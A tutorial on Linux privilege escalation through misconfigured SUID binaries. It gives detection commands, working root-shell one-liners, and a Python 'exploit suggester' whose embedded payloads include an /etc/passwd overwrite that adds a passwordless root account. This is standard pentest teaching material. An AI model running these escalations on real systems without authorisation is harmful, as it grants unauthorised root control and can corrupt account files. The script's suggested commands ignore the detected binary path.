Exploiting Misconfigured SUID Binaries for Linux Privilege Escalation
Misconfigured SUID (Set User ID) binaries represent a critical vector for Linux privilege escalation. When a program has the SUID bit set, it executes with the permissions of its owner, rather than the user who invoked it. If a binary owned by root has the SUID bit enabled, any user executing that binary effectively runs it with root privileges. This inherent functionality, while necessary for utilities like passwd, can be severely abused if the SUID bit is set on binaries not designed for such elevated permissions, allowing a low-privileged user to gain root access.
Detecting SUID Binaries
Identifying SUID binaries is the crucial first step in any privilege escalation attempt leveraging this mechanism.
Manual Detection
The standard method for locating SUID binaries across a Linux filesystem involves the find command. To search for files with the SUID bit set, owned by root, and suppress "Permission denied" errors, use the following:
find / -user root -perm -4000 -print 2>/dev/null
# or more generally, for any SUID file
find / -perm -u=s -type f 2>/dev/null
/: Starts the search from the root directory.-perm -u=sor-perm -4000: Specifies to find files where the user (owner) execute bit also has the SUID bit set. The octal `4000` specifically matches the SUID bit.-type f: Restricts the search to regular files only, ignoring directories or special files.2>/dev/null: Redirects standard error (stderr) to/dev/null, effectively suppressing "Permission denied" messages that clutter the output, focusing on accessible SUID binaries.
The output might be extensive, including many legitimate SUID binaries like /bin/su, /usr/bin/passwd, or /bin/mount. The objective is to identify unusual or custom SUID binaries that an administrator might have configured without realizing the security implications.
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/bin/ping
/usr/local/bin/custom_app # <-- This is what we're looking for
Automated Detection with Python
Automating the detection process with a Python script offers several advantages, including the ability to perform custom filtering and integrate with other enumeration steps. The script will traverse the filesystem and check the permissions of each file to identify the SUID bit.
Python's os module provides the necessary functions: os.walk for directory traversal and os.stat to retrieve file status, including permissions. The stat module then helps interpret the permission bits, specifically stat.S_ISUID to check for the SUID flag.
import os
import stat
import sys
def find_suid_binaries(path='/'):
suid_binaries = []
print(f"[+] Searching for SUID binaries in {path}...")
for root, dirs, files in os.walk(path, onerror=lambda x: None):
for file in files:
file_path = os.path.join(root, file)
try:
# Get file status (permissions, owner, etc.)
file_stat = os.stat(file_path)
# Check if SUID bit is set and owner is root (UID 0)
if bool(file_stat.st_mode & stat.S_ISUID) and file_stat.st_uid == 0:
suid_binaries.append(file_path)
except FileNotFoundError:
continue
except PermissionError:
# Suppress permission errors similar to 2>/dev/null
continue
except Exception as e:
# Catch any other unexpected errors
# print(f"[-] Error processing {file_path}: {e}", file=sys.stderr)
continue
return suid_binaries
if __name__ == "__main__":
found_binaries = find_suid_binaries()
if found_binaries:
print("\n[+] Found SUID binaries (owned by root):")
for binary in found_binaries:
print(f" - {binary}")
else:
print("\n[-] No SUID binaries owned by root found.")
This script iterates through the filesystem, retrieves the status of each file, and checks if the SUID bit (`stat.S_ISUID`) is set and if the file is owned by UID 0 (root). Error handling is included to skip inaccessible paths, mimicking the `2>/dev/null` behavior of the `find` command.
Exploiting SUID Binaries
Once potentially vulnerable SUID binaries are identified, the next step is to research their exploitation methods. The GTFOBins website is an invaluable resource, providing a curated list of Unix binaries that can be abused for privilege escalation, command execution, or other malicious purposes when they have specific permissions like SUID.
Commonly Exploitable Binaries
Several common binaries, when found with the SUID bit, are frequently exploitable:
find: The-execflag allows executing arbitrary commands.nmap(older versions): Interactive mode allows shelling out to the system.vim,less,more: These text editors often allow spawning a shell via `!bash` or `:!sh`.bash: If/bin/bashitself is SUID, running it with the-pflag can grant a root shell.cp: Can be used for file writing to overwrite sensitive files like/etc/passwdor copy SUID permissions to another binary.
Exploitation Examples
Here are practical examples for some commonly exploitable SUID binaries:
find Exploitation
If find is SUID root, you can execute a shell with root privileges:
/usr/bin/find . -exec /bin/sh -p \;
This command executes /bin/sh -p with the permissions of find's owner (root). The -p flag in sh (or bash) is crucial to preserve the effective user ID, ensuring the spawned shell runs as root.
nmap Exploitation (Older Versions)
For older Nmap versions (2.02 to 5.21) with SUID set, the interactive mode can be used:
/usr/bin/nmap --interactive
nmap> !sh
# id
uid=0(root) gid=0(root) groups=0(root)
The !sh command within Nmap's interactive shell spawns a new shell, inheriting Nmap's root privileges.
vim Exploitation
If vim has the SUID bit, you can escape to a root shell from within the editor:
/usr/bin/vim
:!/bin/sh -p
# id
uid=0(root) gid=0(root) groups=0(root)
After opening vim, typing :! followed by a command (like /bin/sh -p) executes it as root.
Automating Detection and Exploitation Suggestions with Python
A more sophisticated Python script can not only detect SUID binaries but also suggest specific exploitation commands from GTFOBins. This requires a mapping of known vulnerable binaries to their respective SUID exploitation commands. For the purpose of demonstration, we'll embed a small dictionary of common exploitable SUID binaries and their root shell commands.
import os
import stat
import subprocess
import sys
# A simplified dictionary of common SUID exploitable binaries and their GTFOBins commands
# In a real tool, this would be dynamically scraped or loaded from a comprehensive database.
GTFOBINS_SUID_EXPLOITS = {
"find": "/usr/bin/find . -exec /bin/sh -p \\; -quit",
"nmap": "/usr/bin/nmap --interactive\n!sh", # Nmap < 5.21
"vim": "/usr/bin/vim -c ':!/bin/sh -p' -c ':q!'",
"less": "/usr/bin/less /etc/profile\n!/bin/sh -p",
"more": "/usr/bin/more /etc/profile\n!/bin/sh -p",
"bash": "/bin/bash -p",
"cp": "LFILE=/etc/passwd\nTF=$(mktemp)\necho 'r00t::0:0::/root:/bin/sh' > \"$TF\"\n/usr/bin/cp \"$TF\" \"$LFILE\"\nrm -f \"$TF\"", # Example for /etc/passwd overwrite
"env": "/usr/bin/env /bin/sh -p",
"awk": "/usr/bin/awk 'BEGIN {system(\"/bin/sh -p\")}'",
"python": "/usr/bin/python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'",
"perl": "/usr/bin/perl -e 'exec \"/bin/sh -p\";'"
}
# Common benign SUID binaries to filter out
BENIGN_SUID_BINARIES = [
"/usr/bin/pkexec",
"/usr/bin/sudo",
"/usr/bin/newgrp",
"/usr/bin/chfn",
"/usr/bin/gpasswd",
"/usr/bin/passwd",
"/usr/bin/chsh",
"/usr/bin/mount",
"/usr/bin/umount",
"/usr/bin/su",
"/bin/ping",
"/bin/ping6",
"/usr/bin/fusermount",
"/sbin/mount.nfs",
"/lib/dbus-1.0/dbus-daemon-launch-helper",
"/usr/lib/policykit-1/polkit-agent-helper-1",
"/usr/lib/eject/dmcrypt-enable-external-device",
"/usr/lib/gnome-keyring/gnome-keyring-daemon",
"/usr/lib/openssh/ssh-keysign",
"/usr/lib/evolution/evolution-source-registry"
]
def get_base_filename(path):
return os.path.basename(path)
def find_exploitable_suid_binaries(search_path='/'):
potential_exploits = {}
print(f"[+] Searching for SUID binaries in {search_path}...")
for root, dirs, files in os.walk(search_path, onerror=lambda x: None):
for file in files:
file_path = os.path.join(root, file)
try:
# Get file status (permissions, owner, etc.)
file_stat = os.stat(file_path)
# Check if SUID bit is set and owner is root (UID 0)
if bool(file_stat.st_mode & stat.S_ISUID) and file_stat.st_uid == 0:
base_filename = get_base_filename(file_path)
# Filter out benign SUID binaries
if file_path in BENIGN_SUID_BINARIES or base_filename in [get_base_filename(b) for b in BENIGN_SUID_BINARIES]:
continue
# Check if the binary is in our list of known exploitable binaries
if base_filename in GTFOBINS_SUID_EXPLOITS:
potential_exploits[file_path] = GTFOBINS_SUID_EXPLOITS[base_filename]
except FileNotFoundError:
continue
except PermissionError:
continue
except Exception as e:
# print(f"[-] Error processing {file_path}: {e}", file=sys.stderr)
continue
return potential_exploits
if __name__ == "__main__":
print("-------------------------------------------------------")
print(" SUID Binary Detector and Exploit Suggester ")
print("-------------------------------------------------------")
exploitable_binaries = find_exploitable_suid_binaries()
if exploitable_binaries:
print("\n[+] Potentially exploitable SUID binaries found:")
for binary_path, exploit_cmd in exploitable_binaries.items():
print(f"\n Binary: {binary_path}")
print(f" Suggested GTFOBins exploit (as root):")
print(f" ------------------------------------")
print(f" {exploit_cmd}")
print(f" ------------------------------------")
# Example of how to "auto-exploit" (very carefully!)
# For demonstration, we'll only print the command, not execute.
# In a real scenario, executing these directly could be destructive.
# if input("Attempt to execute this exploit? (y/N): ").lower() == 'y':
# print(f"[*] Attempting: {exploit_cmd.splitlines()} ...")
# try:
# # For commands spanning multiple lines like Nmap, handle carefully.
# # This example assumes single-line commands or initial line.
# subprocess.run(exploit_cmd.splitlines(), shell=True, check=True)
# except subprocess.CalledProcessError as e:
# print(f"[-] Exploit failed: {e}")
# except Exception as e:
# print(f"[-] An error occurred during exploitation attempt: {e}")
else:
print("\n[-] No custom or potentially exploitable SUID binaries found.")
print("\n[+] Scan complete.")
The script `suid_hunter.py` works as follows:
- It defines `GTFOBINS_SUID_EXPLOITS`, a dictionary mapping common binary names to their SUID exploitation commands. This is a simplified representation; a real-world tool like SUID3NUM or GTFONow would dynamically fetch or parse a more comprehensive database.
- `BENIGN_SUID_BINARIES` lists commonly found SUID root binaries that are generally not exploitable for privilege escalation. This helps reduce noise in the output.
- The `find_exploitable_suid_binaries` function traverses the filesystem using `os.walk`.
- For each file, it performs `os.stat` to check for the SUID bit (`stat.S_ISUID`) and verifies if the file owner is root (UID 0).
- It filters out known benign SUID binaries.
- If a binary is SUID root, not benign, and its base filename matches a key in `GTFOBINS_SUID_EXPLOITS`, the binary's path and the suggested exploit command are stored.
- Finally, it prints a formatted output of all detected potentially exploitable SUID binaries and their corresponding GTFOBins exploitation commands.
Running this script provides immediate actionable intelligence for privilege escalation during a penetration test:
$ python3 suid_hunter.py
-------------------------------------------------------
SUID Binary Detector and Exploit Suggester
-------------------------------------------------------
[+] Searching for SUID binaries in /...
[+] Potentially exploitable SUID binaries found:
Binary: /usr/local/bin/find
Suggested GTFOBins exploit (as root):
------------------------------------
/usr/bin/find . -exec /bin/sh -p \; -quit
------------------------------------
Binary: /usr/local/bin/nmap
Suggested GTFOBins exploit (as root):
------------------------------------
/usr/bin/nmap --interactive
!sh
------------------------------------
[+] Scan complete.
This approach transforms a tedious manual enumeration process into a quick, automated scan, providing immediate vectors for escalating privileges on vulnerable Linux systems. Always exercise caution and verify commands before execution, especially in production environments.